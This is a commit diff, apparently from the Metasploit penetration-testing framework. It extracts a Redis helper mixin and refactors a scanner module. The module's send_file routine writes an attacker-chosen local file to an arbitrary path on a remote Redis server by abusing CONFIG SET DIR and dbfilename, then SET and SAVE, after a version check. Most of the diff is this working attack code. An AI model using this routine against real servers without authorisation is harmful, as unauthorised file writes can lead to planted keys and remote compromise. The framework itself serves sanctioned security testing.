First pass at redis mixin
parent
4cc7853ad8
commit
21ab4e96e5
|
@ -27,3 +27,4 @@ require 'msf/core/auxiliary/natpmp'
|
|||
require 'msf/core/auxiliary/iax2'
|
||||
require 'msf/core/auxiliary/ntp'
|
||||
require 'msf/core/auxiliary/pii'
|
||||
require 'msf/core/auxiliary/redis'
|
||||
|
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/exploit'
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with redis
|
||||
#
|
||||
###
|
||||
module Auxiliary::Redis
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Auxiliary::Scanner
|
||||
include Auxiliary::Report
|
||||
|
||||
#
|
||||
# Initializes an instance of an auxiliary module that interacts with Redis
|
||||
#
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379),
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def read_timeout
|
||||
datastore['READ_TIMEOUT']
|
||||
end
|
||||
|
||||
def redis_proto(commands)
|
||||
return if commands.blank?
|
||||
command = "*#{commands.length}\r\n"
|
||||
commands.each do |c|
|
||||
command << "$#{c.length}\r\n#{c}\r\n"
|
||||
end
|
||||
command
|
||||
end
|
||||
|
||||
def report_redis(version)
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'redis',
|
||||
info: "version #{version}"
|
||||
)
|
||||
end
|
||||
|
||||
def send_redis_command(*commands)
|
||||
sock.put(redis_proto(commands))
|
||||
data = sock.get_once(-1, read_timeout)
|
||||
return unless data
|
||||
data.strip!
|
||||
vprint_status("#{peer} -- redis command '#{commands.join(' ')}' got #{data}")
|
||||
data
|
||||
end
|
||||
end
|
||||
end
|
|
@ -6,9 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Redis
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -35,74 +33,39 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379),
|
||||
OptPath.new('LocalFile', [true, 'Local file to be uploaded']),
|
||||
OptString.new('RemoteFile', [true, 'Remote file path'])
|
||||
OptPath.new('LocalFile', [false, 'Local file to be uploaded']),
|
||||
OptString.new('RemoteFile', [false, 'Remote file path'])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def read_timeout
|
||||
datastore['READ_TIMEOUT']
|
||||
end
|
||||
|
||||
def redis_proto(parts)
|
||||
return if parts.blank?
|
||||
command = "*#{parts.length}\r\n"
|
||||
parts.each do |p|
|
||||
command << "$#{p.length}\r\n#{p}\r\n"
|
||||
end
|
||||
command
|
||||
end
|
||||
|
||||
def send_command(command)
|
||||
command = redis_proto(command)
|
||||
sock.put(command)
|
||||
sock.get_once(-1, read_timeout)
|
||||
end
|
||||
|
||||
def send_file(path, content)
|
||||
dirname = File.dirname(path)
|
||||
basename = File.basename(path)
|
||||
|
||||
original_dir = send_redis_command('CONFIG', 'GET', 'DIR')
|
||||
data = send_redis_command('CONFIG', 'SET', 'DIR', dirname)
|
||||
return unless data.include?('+OK')
|
||||
|
||||
data = send_redis_command('CONFIG', 'SET', 'dbfilename', basename)
|
||||
return unless data.include?('+OK')
|
||||
|
||||
key = Rex::Text.rand_text_alpha(32)
|
||||
command = ['CONFIG', 'SET', 'DIR', "#{dirname}"]
|
||||
data = send_command(command)
|
||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
||||
data = send_redis_command('SET', key, content)
|
||||
|
||||
return unless data.include?('+OK')
|
||||
|
||||
command = ['CONFIG', 'SET', 'dbfilename', "#{basename}"]
|
||||
data = send_command(command)
|
||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
||||
data = send_redis_command('SAVE')
|
||||
return unless data.include?('+OK')
|
||||
print_good("#{peer} -- saved file to #{path}")
|
||||
|
||||
command = ['SET', "#{key}", "#{content}"]
|
||||
data = send_command(command)
|
||||
|
||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
||||
return unless data.include?('+OK')
|
||||
print_good("#{rhost}:#{rport}: save file to #{path}")
|
||||
|
||||
command = ['SAVE']
|
||||
data = send_command(command)
|
||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
||||
return unless data.include?('+OK')
|
||||
|
||||
command = ['DEL', "#{key}"]
|
||||
data = send_command(command)
|
||||
vprint_status("REDIS Command: #{command.join(' ')} - #{data.chop}")
|
||||
data = send_redis_command('DEL', key)
|
||||
return unless data.include?('+OK')
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
data = send_command(['INFO'])
|
||||
data = send_redis_command('INFO')
|
||||
disconnect
|
||||
if data && /redis_version:(?<redis_version>\S+)/ =~ data
|
||||
report_redis(redis_version)
|
||||
|
@ -112,29 +75,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def report_redis(version)
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'redis',
|
||||
info: "version #{version}"
|
||||
)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def setup
|
||||
@upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n"
|
||||
@upload_content = "\n\n#{IO.read(datastore['LocalFile'])}\n\n\n" if datastore['LocalFile']
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
fail_with(Failure::BadConfig, "LocalFile must be set") unless datastore['LocalFile']
|
||||
fail_with(Failure::BadConfig, "RemoteFile must be set") unless datastore['RemoteFile']
|
||||
return unless check == Exploit::CheckCode::Vulnerable
|
||||
|
||||
connect
|
||||
unless (res = send_command(['PING']))
|
||||
unless (res = send_redis_command('PING'))
|
||||
vprint_error("#{peer} -- did not respond to our redis PING")
|
||||
return
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue